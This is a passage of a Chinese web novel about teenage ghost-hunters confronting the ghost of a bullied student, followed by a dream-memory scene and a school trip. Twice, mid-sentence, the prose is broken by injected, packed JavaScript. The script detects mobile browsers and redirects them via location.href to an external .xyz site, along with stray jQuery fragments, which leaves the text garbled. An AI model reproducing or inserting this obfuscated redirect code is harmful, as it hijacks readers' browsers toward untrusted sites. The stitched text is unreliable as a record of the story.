“你又干什么了?”他压低声音,余光仍牢牢钉在王艾君身上。
“嘿,我早说她不对劲了吧。”小鹊小声地、轻轻地咬着话尾,像在讲什么地下情报,“她穿的校服你注意过没?”
“就那身破破旧旧的?”秦梧皱眉。
“对,就是那身。”她眨巴着眼,语气愈发神秘,“是我们学校十几年前的款式。虽然外形一样,但细节不同——现在校服都用三股线,她这是老式双股针脚。再看胸牌镀层,新校徽是激光雕刻,她这分明是腐蚀印的。”
秦梧偏头看她,“十几年前?”他问。
“嗯。”小鹊声音压得更低了,“我去翻了旧年册的照片,找到几个角落特写,胸牌上那行字的位置和字体,都和她身上的一模一样。”
“所以你就来打搅我?”
“秦梧,”眼睁睁看着自己最高分被强制终结的骆云影深呼吸了一口。他说话时嘴角还噙着笑,眼尾却像结了霜。阳光从百叶窗漏进来,在他镜片上切出细密的金线,“你他妈的是不是不想活了,来,把头凑过来,我今天再特别教你个灭人技巧。”
“啊,别别别!”
骆云影的袖口微微颤动,露出半截青筋凸起的手腕。秦梧倒退半步,只是还没来得及跑,走廊里忽然传来谁的呼声,然后就是那句颇具挑衅意味的,“这么热的天,干嘛要戴围巾?搞特殊么?”
熟悉的声音吸引了秦梧的目光,他转身看向走廊,果然是之前那位霸凌人的大姐大,此刻她一边揪着王艾君的围巾,一边挑衅地看着秦梧。
暮色漫进教学楼时,有人整个身子探出窗外,校服后襟沾了满背墙灰。“妈呀,外头好多小混混,今晚放学了是不是要打群架!有好戏看咯!”汤嘉维嗓子吊得老高,“穿铆钉靴那个,是不是台球厅的黄毛?”梧桐树影里浮着七八点猩红,烟头明灭间,能瞧见铁链子缠在手腕上反光。
楼道本该空空荡荡,却不知什么时候,校门外头却聚了一群穿着古里古怪的少年,头发染得五颜六色,裤腿卷得不高不低,正站在门口说说笑笑,时不时发出几声刺耳的怪笑。
冰棍水渍在水泥地上洇出深浅不一的圆斑。穿堂风裹着汗味和橡皮屑,把看热闹的人群搅成稠密的浆。秦梧后背抵着瓷砖墙,凉意顺着脊梁骨往上爬——
王艾君无声但惊恐地挣扎着。她嘴唇翕动,青紫的唇色让人想起腌过头的紫苏叶。
光把看客们的影子拉成细长的竹篾。骆云影目光掠过攒动的人头。那些瞳仁里泛着不属于文学作品里青春的美好,油腻得像菜市场案板上没刮净的肥膘。
记忆突然漏了个洞。
那年的教室,那年的课桌,漆面剥落处爬满歪扭字迹。“娘娘腔”“野种”…脏话,绰号,还有一些人连自己名字都不敢写出来的憋屈心思,全写在那张课桌上。粉笔灰混着血丝凝在木纹里。少年攥着橡皮擦得指节发白,忽然听见后排嗤笑:“这人也太好欺负了。”
他那时候想着:说不定,也许,还有人是站在他这边的?可哄笑声涨潮般漫过耳际,他抬头望去,见同学的面孔浮在暮色里,眼珠亮得像是蘸了唾沫的玻璃弹珠。
心沉下去,一寸一寸,像踩进了一口灌满黑泥的井。教室的角落仿佛真的涌出了什么东西,黑漆漆的,厚重,粘稠。它不声不响地漫过来,沿着课桌椅的缝隙,一点点吞掉光和空气。
“赶紧放手!”
秦梧的球鞋蹭过地面的声响,像石子投入深潭。骆云影回神时,那少年正欲冲出去。
可他没跑出两步,就被骆云影一把扯住了衣襟。
“你不好奇,她脖子底下的秘密吗?” 他微笑着,眉毛挑起来,语气轻飘飘的。
秦梧本想挣脱,没挣开。走廊那头人群忽然安静下来。
围巾在拉扯中松垮成麻花状,露出颈间一线苍白的皮肤,脖颈上盘踞着深紫色勒痕,像老树根须扎进瓷土里,又像是有人用蘸了墨的麻绳在她皮肉里腌了十年。
“简直就像上吊自杀的死人被从绳子上取下来一样……”
“好恐怖……你看她的嘴唇啊,干的都在流血了!”
空气里只剩下呼吸声,断断续续的,像是刚学会哭的小孩,不知该不该出声。
王艾君夺回围巾,胡乱地缠上脖子,头也不回地跑进洗手间。
“死的可真惨。”骆云影的声音在耳边倏然响起,把秦梧吓了一跳。想说‘王艾君还好好的站在这里别诅咒人家’,可偏生这人虚弱到连阳气都没有。
小鹊在骆云影后头站定时,暮色正爬上少年的肩头,校服布料被压出几道细褶,活像晾衣绳上皱巴巴的床单。
骆云影笔尖悬在草稿纸上,洇出个芝麻大的墨点——当然不是在做作业,这人只是烦躁地乱涂乱画。小鹊仰头看窗外火烧云,又低头看他。终于在骆云影不耐烦前,她才开口:"你最近是不是不太睡觉?"语气松垮。
钢笔尖"嗒"地戳透纸背。骆云影转头:"你是我妈?"话尾带着毛刺。
小鹊从裤兜摸出颗水果糖:"我妈骂人可比这狠。"她忽然倾身上前,鼻尖几乎蹭到对方,"你右眼底下青得能研墨,左边倒好些——昨晚往右翻身的?"
骆云影没搭理她,指节叩在课桌上,像是在忍。小鹊也不急,慢吞吞卸下书包搭扣,摸出个小布包。布角掀开时,露出一只被糯米包住的饭团,边角压得方方正正。
“这个是早上做的,本来想中午吃,结果忘了。你不吃也快坏了。”
骆云影的喉结动了动,钢笔在指间转出个生涩的弧。小鹊忽然把布包往前推了半寸:"再搁要馊了。"语气平淡得像递还橡皮,没有热情,也没有可怜。
骆云影盯着她的手,沉默片刻:“你什么时候也会带多一份?”
“我做事不讲逻辑,讲缘分。”小鹊笑了一下,又慢悠悠地补一句:“你今天刚好看着像缘分。”
“你他妈说什么屁话呢。”
放学的铃声打时,穿红裙的女生还在慢条斯理理书包。指甲油剥落的食指划开手机屏——一串未接来电像猩红的辣椒,挂在通知栏里发烫。
“耍老子好玩是吧?就TM会浪费老子时间,以后这种事情别找我了!”电话那头的脏话混着台球撞击声炸开。女生把手机拿远半寸,却只能委屈着语气应他骂得对。
石板路缝里钻出几茎野草,蹭着她的小腿肚发痒。拐进暗巷时,夕阳把她的影子揉成团扔在墙根。忽然那团黑影顶上冒出个尖。
“喂——”少年拖着懒洋洋的尾音。抬头望去,秦梧蹲在三米高的墙上。他校服袖口卷到手肘,小臂被夕阳镀成蜜色,“你不是说找人打我吗?为什么要那么怕我啊?”
“我是大人有大量,不和你计较。不过有件事我还是想提醒你一下。”
“谁需要你的提醒啊,你不要以为……!”
“你需要。”秦梧忽然扬手,揉成团的纸划破凝滞的空气,正打中她眉心。纸团散开时露出里头黄符纸,朱砂画的咒文像蚯蚓爬。
“你想听正常的版本还是嘲讽的版本?”
“你少嚣张了,有本事你下来!” 女生发狠踹向符纸,气势汹汹。
“看来你是想听嘲讽版本的。我想告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835168|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诉你的是,你要完蛋咯!” 秦梧竖起两根手指,影子斜斜切过女生涨红的脸。
“什……!”
“不过再友情附赠你一个正常版本的吧,”少年敛了笑意,“王艾君很危险,你最好把我给你的东西捡起来。”
随后秦梧起身拍拍裤腿灰,突然纵身跃下——女生尖叫卡在喉咙里。
当然她所不知的是,少年稳稳落在对面废品回收站的纸箱堆上。沾着鱼腥味的旧报纸被惊起,哗啦啦飞成一群灰鸽子。嗐,装个逼还怪不容易的。
女生盯着飘到脚边的符纸,朱砂在暮色里泛着铁锈红。她蹲下身时,忽然觉得后颈发凉,仿佛有人贴着耳根吹气。猛回头,只看见自己的影子被夕阳拉得老长,脖颈处不像脑袋,倒像鼓起个瘤子似的包。
所以事态果然还是恶化了。
王艾君的事,说起来也不是新鲜的了。她本是一个极聪明的女孩,理应像一块玉,被慢慢雕琢着,直到哪天发出温润的光来。可惜人多的地方,风就杂。玉石一旦在风口里摆久了,总难保不沾尘埃。
因有人嫉妒心作祟,联合那些乌合之众,呈现了一出最经典的校园暴力戏码。最初是言语,再后来是桌子被翻了,是笔袋被割了,课间路过的胳膊被撞得青了。她没吭声,还是安静地做题,像什么也没发生。可就是这安静,反倒更让人不安。
这之后,便是绳索。
王艾君死后,事情也没闹大。校方说是意外,家属沉默,同学们收起了谈论的兴致——这世道,死了一个人,有时候还不如食堂涨价来得热闹。可有人开始生病,有人突然失足摔下楼梯,有人高烧不退,进了医院就没再回来。
在十几年后的现在,大抵是因为隔壁班正在发生同她一样的校园暴力事件,徘徊在学校里无法安息的灵魂因相同的怨气而苏醒,而那个成为下一个目标,那个抢了她围巾的无非是…
秦梧指挥被连番的灵异事件吓得够呛的女生,去后山埋葬王艾君的脑袋,自己则慢悠悠去了后山。
后山的野菊花开得泼辣,可偏生:“怎么会?她没有把头埋到这里吗?”接连而至的是不详的预感。
路灯把十字路口切成明暗两半。那个女生顶着双近乎挖土到近乎露出白骨的手,游荡在斑马线上,血珠顺着指尖滴落,在柏油路上绽成暗梅。
秦梧翻过护栏时,抬眼望见对街的骆云影,那人倚着梧桐树,月光顺着枝桠漏下来,在他肩头织了层霜。
马路对面站着骆云影。双手插兜,眼神淡漠地看着那个曾经的霸凌者,一动不动。
秦梧松了一口气,还好,还来得及。他跳下台阶,一边翻过隔离栏,一边大喊:“骆云影!救她——!”
可骆云影只是侧头看了他一眼,那眼神冷得刺骨,带着点疲倦和漠然。
然后一声刺耳的刹车划破了夜晚。
救护车蓝光掠过橱窗的刹那,王艾君的灰围巾从路灯顶端垂下来,活似吊死鬼的舌头。骆云影镜片反着冷光,指尖摩挲着校徽边缘。他垂下眼帘,睫毛在眼下投出栅栏似的影。
女生像片落叶飘起又坠落。人群聚成漩涡,手机闪光灯此起彼伏。秦梧挤进人堆时,瞥见女生外套反面的小字:“要成为最善良的人”。血渍正巧淹没了“善良”二字。
秦梧愣住了。他愣了许久,才慢慢把头转向马路对面。
“骆云影……”他声音发紧,带着一丝从未有过的颤抖,“你明明可以救她的……”
沙发吞了小半截月光,小鹊蜷在抱枕堆里剥橘子——她喜欢这种水果。少年陷在沙发另一头,手背搭着眼皮,指缝间漏进台灯暖黄的光。
“骆云影说...”秦梧喉结滚了滚,“说那女生活该。”
小鹊把橘子皮摆成莲花状,指尖沾着晶亮的汁水:“他锁链缠了几圈?”
“看不清,像蛇蜕皮似的。”
冰凉的橘子贴到他唇上。小鹊歪头,笑道:“就像阳台那盆吊兰,根须缠死自己了。”
“你能不能认真点!”秦梧有些生气。
“王艾君本来也死了啊。”小鹊歪了歪头,“只是没走而已。”
秦梧低下头,像是想从杯子里看出点道理来。他沉默了一会儿,终于小声说:“可她是受害者啊……她受过伤,被人害死的。难道就不能试试别的方法?非要这么彻底?”
小鹊思索了一下:“被虫蛀透的叶子,救回来也活不过霜降。”见秦梧不解,她解释:“鬼会骗人,情绪也会骗人。她看起来像受害者,可是你有没有想过,她已经死了很久、想了很多年、怨气深到化成风的时候……她还还是那个‘她’吗?”
“你觉得骆云影太冷,是因为你还留着那种想救所有人的心。那真的很好。”她顿了顿,弯起的眼睛如深秋的柚子叶:“可你要是想活下去,就要准备好——有些人你救不了,有些鬼你不能放,有些时候……你得下手比他们快。”
秦梧后知后觉发现她在舔自己的眼泪。小鹊舌尖卷走咸涩水珠的模样,像猫儿舔舐晨露。他震惊到失语,整个人都炸起鸡皮疙瘩,可来不及反应,小鹊忽然捧住他的脸,鼻尖相距半寸:“想当厉害的捉鬼师,得把心泡进忘川水。”
秦梧突然觉得自己对青梅的了解太少了。他聪明不假,却也需汗水与付出;可她从不需要这种东西。平时的打闹经常让他忘记,她太聪明,太早慧,以至于偶尔——
偶尔会不像人。
秦梧握紧了杯子,过了好一会儿才闷声道:“那样太像他了。”
“你不想像他,对吧?”
秦梧点点头。
小鹊的指尖点在他眉心,“你可以不丢掉感情,也可以变强。但你要学会挑——哪些是你留下来的,哪些是你该丢掉的。”
“所以,”小鹊轻轻眨眨眼,“你是想救她,还是只是想替自己找个理由?”
“我不知道。可能……都有吧。”
“那也很好嘛。”她往沙发里缩了缩,“人本来就不是一件事做对就能安心的生物。你今晚不舒服,说明你还是人。”
“那你呢?”秦梧问她,“你有没有觉得……不舒服?”
小鹊没回答。
6. 梦魇
廊灯昏黄的光晕里,粉笔灰在月光中浮沉,叫吊扇叶积了层薄灰。
小鹊和骆云影今天值日。可直到教室彻底陷入昏暗,秦梧仍不见他们的身影。
这时,荧光灯管突然抽搐般闪烁,光线下,最后一排歪斜的课桌椅投下嶙峋瘦影。秦梧踮脚关窗时,瞥见玻璃上自己模糊的倒影——衣领沾着粉笔灰,发梢翘起一撮,活脱脱像美术室那些未完成的素描人像。
他皱着眉将窗户关好,准备下楼去找。可刚一推开教室门,扑面而来的却不是晚风,而是一股陌生的冷意——
那种冷,不像空调的风,也不像夜里的露水。它更像是某种从极深井底抽上来的寒意,缠着梦魇的味道。
小鹊睁眼时,天色已然暗下。天空不高,压在屋檐边,沉甸甸的。
旁边有个大铁笼。铁笼的阴影里蜷着个纸片似的人形。月光从气窗漏进来,照见男孩支棱的膝盖骨,青白皮肤下凸起的骨节像雨打过的鹅卵石。小孩没有哭。只是静静地缩着。
小鹊挨着铁笼坐下。她歪头打量笼中人的模样,像是研究花盆里新发的豆芽。"你在孵蛋么?"童音清凌凌荡开。
小男孩没说话。他没有看她,只把下巴压得更低,脸更深地埋进臂弯。后颈凸起的脊椎骨随着呼吸轻颤。小鹊歪头打量了他一会儿,忽然笑了:“你是不是被关起来啦?”她像发现了什么很好玩的事情一样,说得轻快极了。
小男孩终于抬起眼皮,看了她一眼。
“我不记得我为什么在这了。”小鹊咬着袖子,一本正经道,“但我觉得你不该在这里。这里好闷。”
“他们说做错事才要蹲笼子。”女娃的指尖停在铁栏间隙,“可你眼睛里落着好多星星,星星怎么会犯错呢?”
小男孩盯着她良久,忽然慢慢开口:“但我做错事了。”
“你知道你做错什么了吗?”
他沉默了一会儿,像在努力回忆,但脑子里是空的。他只记得一个身影,那人的声音不大,却能让整个房间静下来。他说话的时候不需要重复,也不需要提高音量。小男孩的声音很轻:“我没有完成……任务。”
“谁给你的任务?”
小男孩摇头。他不知道。只知道不完成就会被关,很久很久。
“你为什么要听那个人的话呀?”她眨着眼,“你是被捡回去的吗?”小男孩没有回答。
“那你现在想不想出去呀?”小鹊把手指挤进铁栏。
男孩望着那截白生生的指尖。
“你不记得你是谁,我也不记得我是谁。”小鹊轻轻说,“但我知道,我不想你一个人待在这里。”
男孩愣住,随后抬起脸,这才露出下巴颏未愈的齿痕,结着暗红的痂。他张了张嘴,像想说什么。但话还没出口,远处的台阶上便响起一声极轻的脚步声。
门吱呀一声被打开,那个高大的身影终于出现了。
容貌像是石雕般的猎豹,男人就这样踏入房间,看了他们一眼。他的眼神没有停留在小鹊身上,只看向那笼中的男孩,淡声道:“骆云影,忘了我教你什么了吗?”
男孩的脊椎倏地绷成弓弦。他盯着青砖缝里半片枯叶,那叶子正被风推着,一寸寸往阴影里挪:“我、我也不知道她从哪里来的……是我错了,我……下次一定……”
“你还想有下次?你想变强?想不被抛弃?那就别找借口。”
小鹊忽然站起来了。
她不太明白这人是谁,也不记得现实,但她知道,她不喜欢这个人。“你为什么凶他?云影是个好名字,该养在云彩里的,怎么锁在铁笼子?”
男人的目光掠过女娃发顶。他没回答她,只淡淡道:“无关之人,不该多言。”
小鹊眨了眨眼,没有退后:“你在教他怎么变强,对吗?”
男人看着她,不语。
“可他这么小,哭也不哭,话也不说,一动不动地缩在笼子里。你有没有想过,你教的方法……也许错了?”
这句话一出口,空气像是凝滞了一瞬。男人眯眼,缓缓道:“有本事的人,不需要安慰。”
小鹊低下头,然后她说:“那你一定是很没本事的人。”
门外的光线忽然变了,有几只纸灰从缝隙里飘了进来,是幻境不稳的迹象。
男人似乎明白了什么。“原来你是外面来的。”他嗤笑,“可惜了。这里是他的记忆,不是你能改的。”说着,慢慢朝铁笼走去。
小男孩下意识后退,靠到铁栏深处,身体因极度的紧张而发出细微的颤抖。蓝眼睛蒙着层雾气,指甲缝里嵌着铁锈的碎屑。蜷缩的姿势让后颈骨突兀地支棱着,像只折翼的雏燕卡在瓦缝间——就这样顺从,一如既往。
而小鹊却没有退。她站在原地,一步不让,双手护在身后,把男孩挡住了。“我不明白你是谁,但你吓到他了。”
“你知道你在对谁说话吗?”
“我不知道。”小鹊摇摇头,“可我知道他不应该被你这么吓。”
空气仿佛冻结了一瞬。“你以为靠一句‘不该被吓’,就能抹掉他的弱小?”他说,“你以为陪他说几句童话,就能替他扛过去他一生的宿命?”
“他才几岁,”小鹊固执道,“你不教他说话、不教他哭、不教他逃,只让他把恐惧咽进肚子里,那你教会的……根本不是强大。”
天花板的纸灯笼无声摇摆,角落的木椅自己向后滑了一寸,像是被什么看不见的东西撕裂了支点。
“你不明白。” 男人俯身,一字一句,“失败也是教育。”
小鹊定定望着他,然后露出一个奇怪的表情:“原来你会怕啊。”
男人瞳孔微缩。
小鹊慢慢说:“你怕他有一天,不再怕你了。”
铁笼后的小男孩似懂非懂地抬起头。
男人没有再开口。他只是抬手,朝小鹊那边挥来一掌——那动作没有力道,却牵动了整个空间的结构。无数碎片落下,像是掉落的星辰与灰烬,幻境的地板开始塌陷,一寸寸崩离。
小男孩惊叫一声:“小心——!”他终于伸手去抓她。
小鹊回首。幻境崩塌的裂缝中,她忽然瞧见无数个月夜——每个夜晚都有个蓝眼睛的孩童,把呜咽嚼碎了咽进肚里,化作脊梁上新长的骨刺,可是….
“别怕。”
再睁眼,教室天花板上依旧悬着那盏老式吊灯,摇着斑驳的铜链子,灯罩上积了一圈灰。
骆云影支着肘坐在光影交界处,额发湿漉漉搭在手背。他没有第一时间说话,只是把脸埋在臂弯里,呼吸极轻,轻得像搁浅的鱼在腮边鼓动的最后一串气泡。
小鹊晃着腿坐在课桌上。橘子汽水在她指尖转了个圈。“醒啦?”她咬住吸管,声音混着气泡咕噜噜响,“再装睡我可要把粉笔灰倒你领子里了。”
骆云影没说话,只是轻轻“嗯”了一声。
小鹊也没追问。她只是盯着瓶口看了一会儿,才忽然说:“我小时候也试过把人关在笼子里。”
“我养过只雪团子似的兔。我不想它跑掉,就拿自己做的小木笼子关起来,结果……没两天兔子就死了。”
骆云影动了动指尖,似乎抬了一下头。
“后来我才知道,兔子不是被饿死的,也不是被吓死的,是它一边撞笼子一边吞毛,活活堵死了自己。人嘛,其实比兔子聪明点,但也就聪明一点点。”她把瓶子推过去:“渴了就喝,别装酷。你脸色难看得像泡在面汤里泡过一夜的煎饼。”
骆云影终于抬起脸看她。他嗓音干哑,低低道:“你不是想问我……那个幻境的事?”
“噢。”小鹊想了想,摇头,“你不说我就当没看见。”
“……为什么?”
“因为你长得帅啊。”
骆云影差点被呛到,低头咳了两声,抬眼时,那副桀骜不驯的模样终于又挂回脸上,只是眉梢眼角还藏着些疲惫:“……你有病吧。”
“你才有病呢。”小鹊反怼得飞快,“你明明可以更好,非得学石头人装什么无情。”
骆云影没接话,良久才低声道:“……谢谢。。”
“谢字值几个铜板?”小鹊撇嘴,站起身,“不过,我要是你啊,就赶紧去吃碗热汤面,面汤要浮着葱花和辣油星子的那种。再睡一觉。小孩子就该睡饱点,长个。”
骆云影微微一怔:“……我比你高。”
“那是因为我不吃饭。”小鹊叉着腰,仰着头,“你别得意。你再瘦两圈,说不定一阵风能吹跑你。”
“那你来扶着我?”他似笑非笑地看她。
“可以啊,我还可以顺便背你下楼。不过你得自己买冰棍请我,不然我就把你往雪堆里一扔,看你冻不冻成冰棍。”
教室门口,秦梧终于跑上楼来。刚刚消灭怨鬼的少年活像尊燃着怒火的青铜鼎:“我叫你俩检查电路你俩检查出个幻境来?!”
“不是你吵着说我们值日最轻松嘛,”小鹊理直气壮,“现在吃苦当吃补,你得感恩我们。”
骆云影懒懒地扫了秦梧一眼,声音有点虚:“喂,吵什么,我耳朵还疼。”
“你还有脸说!你知道我刚才多担心——”
“他方才还哭鼻子呢。”小鹊忽然朝骆云影努努嘴,“睫毛上挂着泪珠子,跟沾了晨露的狗尾巴草似的。”
“我没哭!”骆云影暴起反驳。
“那是汗?可我怎么记得你眼睛红红的,还哽咽来着?”
“你闭嘴。”
“骆云影,你是不是怕黑——”
“给老子把嘴闭上——!”
屋檐角滴答一声。秦梧握着伞柄的手微微发潮。
小鹊的布鞋踩过水洼时,鞋尖绣的锦鲤便游进倒影里,惊碎了浮着碎花骨朵的积水。她安安静静地跟着他走了一段,没像往常那样吵吵嚷嚷,就只是——安静得有点不自然。
秦梧终于还是开口了,声音很淡,但没掩住他藏在里面的焦急:“你和骆云影……刚刚到底遇到了什么?”
小鹊耸耸肩,舌尖顶着刚从便利店买的奶糖,腮帮鼓起个小包,含糊道:“梦呗。就像误入了一场睡午觉的童话剧。”
“别敷衍我。”秦梧侧头看她,“你又不是普通人,那种‘梦’会把你们两个一起困进去,甚至几乎不回来?”
糖纸在她指间折成鹤,翅膀上还沾着糖霜:“有的梦不是困住人,是人自己不想醒来。”
秦梧皱眉:“什么意思?”
纸鹤扑棱棱落在积水里,又被拾起,丢进街边的垃圾桶:“你有没有想过啊,云影同学其实挺聪明的。可是有些聪明人,不是想不明白,是他们心里藏着一只小怪兽,每天都要喂它一点悲伤,不然它就要发脾气。”
“你是说,他心里有事?”
“哎呀,我说的是梦呀,秦梧同学。梦里谁没有怪兽呢?”
伞面猛地一沉:“小鹊,你是不是知道了什么?为什么不告诉我?”
她顿了顿,走到路边一块石板上坐下,晃着腿,说得很认真:“因为那不是我的梦,也不是我的伤口。我只是路过的人。”
“你总是这样,”秦梧语气沉了几分,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835169|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么都藏着,绕着弯子说话,把事说得跟童话一样。”
“那你想听我说什么?”她笑着反问,“说‘他小时候过得很惨’?说‘我看见了他不愿提起的回忆’?可那样,他还怎么抬头看你?”
秦梧呼吸滞了一下,语气压低:“……你是在护着他。”
收摊的卖花担子吱呀呀经过。小鹊没点头,也没否认:“有些秘密,不该由我来替他说出口。”
“你就那么相信他会愿意说?”秦梧觉得自己有些矫情。他学着小鹊平日里爱说的比喻:“我小时候听童话故事总以为,把糖埋进雪里就能存到来年春天——后来真试过才发现,化了的糖浆会渗进泥土,倒把蚂蚁引来了。”
鞋头沾了泥,像缀着两粒炒熟的南瓜子。他望着巷尾飘摇的酒旗,旗角湿漉漉打着卷:“况且糖已经和雪冻在一处...... ”
“那就等春来啊。等日头把雪晒软了,糖自然会露出来,以及它滋养的生命。”
“你倒是信得过春天。”他话里带着三分恼。
小鹊的鞋底在青砖上印出朵湿漉漉的梅。“我信得过熬过寒冬的糖。”她伸手接住檐角坠下的水线,掌心很快积起一汪亮晶晶的泉,“也信得过等糖化时,不会伸手去凿冰的人。”
“你答应他的事,也是这般守着?”
“他愿不愿意说是他的事,我不说,是我答应过的。”她扭头看着他,眼睛里没有平时的狡黠,只有一种孩子气的认真,“秦梧,如果我答应了一个人保守秘密,那我就不会背叛他——哪怕你生气。”
秦梧看着她,一时间有些说不出话来。他觉得自己应该继续追问,但那些话堵在喉咙里,像用力过头的钓线——一拉就断。
“……你啊。”他轻轻叹了口气,把伞默默地往她那边偏了偏,“真是——鬼见了都怕烦的麻烦精。”
在十一月的时候,学校里办了一场冬游。
这话最早是秦梧说的。他正蹲在行李箱前叠衣裳,靛蓝毛衣叠得比军训还齐整:“十一月办冬游,你说是不是脑子有泡?叫‘冬游’,不就是冷着玩的吗?偏偏还选了个最远的昌山。”
小鹊吐出粒橘核,核尖粘着丝白络:“可你不是笑得比谁都开心?
“我高兴是因为——可以不听我爸叨叨了。七天不在家,简直是七日净土。”
秦观海没听见编排,只捏着半把瓜子踱进来。靛青拖鞋踢到个空橘皮,险些滑倒:“哎哟…!十一月办冬游——昌山那个地方你们学校也敢选,胆子还挺大。”
“你怎么也开始复读机了?”秦梧头也不回地说。
“我说的是重点好吧。”秦观海放下手里磕了一半的瓜子: “昌山那地方,二十年前差点把你爸命搭进去。”
秦梧指尖一顿,泡面叉当啷掉进铝饭盒。:“哈?”
“别哈了,这块玉是我托人请的,带着,别嫌丑。” 玉坠沉甸甸落进掌心。秦梧刚要开口,又见父亲从裤兜掏出叠黄符,朱砂绘的敕令洇了汗。“这是我画的。”他说得理直气壮,“全带上。”
“……你是知道我这次要被发配去地府了是不是?”秦梧表情复杂,“你都舍得把你的‘保命套餐’分我一份了?”
“这事我本来不想说,怕吓着你。但你也大了,该知道点事了。那鬼……不是你现在能对付的东西。”
小鹊忽然翻身坐起,橘瓣卡在腮帮鼓鼓囊囊,含糊不清地插嘴:“你说的该不会是那只差点成‘百魂鬼’的东西吧?”
“你怎么知道的?”秦观海眯眼。
“我梦见的呀。”她甩甩尾音,晃到秦梧身边坐下,若无其事地拍了拍书包,“昌山底下那封印,如果崩了,魂都不够它吃一顿早饭的。”
秦观海眼皮一跳:“你梦见什么了?”
“梦见你被鬼抓着脚丫子吊树上。”小鹊一脸无辜。
秦梧:“……”
秦观海:“……”
“你这小屁崽子……”秦观海磨了磨牙,刚想训她两句,又叹了口气,从怀里又摸出第二块玉。
“你也戴上。”他把那块玉坠递给小鹊,“这块是青色的,你体质特殊,防个万一。”
“哇,咱们一大家子统一装备了。”
“呸。”秦观海嫌弃地转过脸,“你别往我这儿贴。”
“…总之,那鬼不是普通的鬼,是吃了九十九条魂的厉鬼。它藏得太深,我们当时几个捉鬼师在山里转了小半个月才摸到位置。最后是靠几位老前辈拼命才勉强压下去的。平时那地方虽然设了结界,但架不住你们学生一群群往里钻。我也担心万一出了点差错,你……”他说着顿了顿,“我不求你做多大本事的捉鬼师,我只求你活着回来。”
屋里忽地静了。秦梧摩挲着玉坠上的纹,忽然觉得那纹路像极了昌山盘曲的古道,一路通向厉鬼的肚子。
小鹊忽然噗嗤笑出声:“要我说呀,指不定能在潭边遇上桃花妖呢。到时候爆破符傍身,妖鬼退散,多威风。”
“小鹊…”秦梧一脸无奈。
“也可能遇到鬼花。”她笑得更开心了,“不过没关系呀,你有玉、有符、还有我——保命三件套呢。”
秦观海忍不住骂:“你别把自己说得跟灭火器一样。”
“那我是什么?”她抱着膝盖,煞有介事地说,“我是你们家的保命吉祥物嘛。”
秦梧笑着翻了个白眼。他低头收拾泡面,塑料包装响得稀里哗啦。
他没有说出口的,是那一句“谢谢”。因为他知道,秦观海不会要这个。
他只要他活着就行。
7. 没有鲛人,但有水鬼
晨雾裹着霜粒,粘在巴士车窗上凝成冰花。校门口横着几辆披红挂彩的大巴,“冬游专车”四个鎏金字在薄阳下泛着冷光。操场早沸成了麻雀啄新谷的谷场,学生们攒动的人头间,校长站在临时搭的杉木台子上,讲话声混着老喇叭的电流声。
秦梧倚着墙,登山包鼓囊囊硌着后背。忽然一声“秦梧”挤进耳膜。
是隔壁班那个总缩在墙根的姑娘,裹着件灰扑扑的羽绒服挪过来。上回他出手帮忙把她从几位霸凌者手里救出来后,两人几乎没再说过话。
小姑娘从书包里掏出袋薯片。“谢、谢谢你上次......”她声音比蛛丝还细,冻红的指尖推过来一包海盐薯片。包装袋鼓胀得快要撑破,是超大分量的。
秦梧顺手接了:“喔,举手之劳罢了。”话音未落,那姑娘已经兔子似的窜回人群。
他根本没注意到那女孩红到脖子的耳尖,也没注意到她手里那只碎屏的手机还贴着一张贴纸,上头写着“加油”的字迹,看起来像是想很久了才敢开口。而更没注意到的,是站在不远处的钟月茹。
钟月茹咬着草莓牛奶的吸管,被她咬出个月牙印。她书包里粉红包装的Pocky正巧硌着保温杯,杯身上贴的卡通少女眨着无辜大眼,倒像在笑话人。远处那包嚣张的薯片晃啊晃,晃得她抬脚碾碎块薄冰,冰碴子溅上靴面。“可恶,那个女生到底在哪里买到那么大包的薯片啊,根本比不过她嘛……”
秦梧这时鬼使神差地扭头——
小鹊正蹲在一辆大巴车边上,安安静静地给一只缩成团的流浪猫喂面包渣,动作一板一眼,像是在执行什么严肃任务。
白绒帽的毛球被风吹得直晃悠。她正捏着块馒头掰成指甲盖大的碎屑,挨个排在道牙子裂开的砖缝间。三花猫崽子舔一口面包渣,她边乐得眯眼,完全没注意到他,甚至连瞟一眼都没有。
“……”秦梧嘴角僵了一下,刚刚那点微妙的自得其乐像泡泡一样飘起来,又“噗”地一下破了。他干巴巴地站在原地,手里拎着那包热情得要命的薯片,像是突然意识到这玩意儿有点烫手。
“小鹊!”他喊得突兀,“车马上开了,别玩猫了!”
“喔——知道了。”小鹊头也不抬地回他一句,捏着面包哄猫:“最后一口,吃完我们就走。”
“……”秦梧挠了挠头,又低头看了眼那薯片。鬼知道他刚才回头是想得到个什么反应。比如说——她看见了、酸了、要过来抢之类的?结果人家压根连个眼神都没给。
吃瘪。大写加粗,黑体斜线。
没有什么比长达四个小时的巴士上都要和汤嘉维坐在一起更让人觉得痛苦的事了。
为了躲避骚扰,秦梧转头去看向两位同伴们的相处。
窗外的山影在玻璃上洇成水墨,老校车的座椅套泛着陈年豆浆的淡黄。小鹊把棒棒糖咬得咯嘣响:“分明是你抢着要坐窗边,这会倒赖我?”
